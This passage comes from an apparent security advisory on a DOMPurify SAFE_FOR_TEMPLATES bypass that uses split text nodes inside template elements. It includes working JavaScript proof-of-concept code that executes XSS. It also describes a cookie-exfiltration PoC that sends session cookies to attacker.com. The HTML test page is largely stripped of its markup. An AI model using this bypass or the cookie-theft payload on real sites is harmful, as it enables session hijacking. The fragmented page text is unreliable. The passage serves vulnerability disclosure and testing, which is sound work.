\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim's browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement('div');\nconst tmpl = document.createElement('template');\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode('$'));\ntmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector('template').content.normalize();\nconsole.log(container.querySelector('template').content.textContent);\n// \"${alert(document.domain)}\" <-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector('template').content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n\n\n\n \n DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC\n \n \n\n\n\n

🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass

\n

\n CVE candidate · Template expression injection via <template> content ·\n Affects: RETURN_DOM + SAFE_FOR_TEMPLATES and IN_PLACE + SAFE_FOR_TEMPLATES\n

\n\n
\n ⚠️ XSS CONFIRMED - Expression executed in this page's context\n
\n\n \n
\n
\n Controls\n Run individual test cases\n
\n
\n \n \n \n \n \n
\n PoC 1 uses confirm() instead of alert() so the page\n doesn't need a dismiss click to continue. Watch the red banner at the top.\n
\n
\n
\n\n \n
\n
\n PENDING\n PoC 1 - XSS via confirm() · RETURN_DOM mode\n
\n
\n
\n
\n \n
\n        
\n
\n \n
\n        
\n
\n
↓ template.content.normalize() ↓
\n \n
\n      \n      
Not run yet
\n
\n
\n\n \n
\n
\n PENDING\n PoC 2 - Cookie exfiltration · RETURN_DOM mode\n
\n
\n
\n
\n \n
\n        
\n
\n \n
\n        
\n
\n
↓ template.content.normalize() ↓
\n \n
\n      \n      
Not run yet
\n
\n Real execution would redirect the victim to\n attacker.com carrying the session cookie.\n This PoC constructs the URL without actually sending it.\n
\n
\n
\n\n \n
\n
\n PENDING\n PoC 3 - XSS · IN_PLACE mode (DOM node input)\n
\n
\n
\n
\n \n
\n        
\n
\n \n
\n        
\n
\n
↓ template.content.normalize() ↓
\n \n
\n      \n      
Not run yet
\n
\n
\n\n \n
\n
\n PENDING\n Control - string output (default) MUST block the payload\n
\n
\n \n
\n      
↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓
\n \n
Not run yet
\n
\n The string output path is NOT vulnerable because\n body.innerHTML serialises the template content into a\n flat string where the full ${\"{...}\"} expression is visible\n and the final regex scrub catches it.\n
\n
\n
\n\n \n
\n
\n Log\n Test output\n
\n
\n
\n
\n
\n\n\n\n\n\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `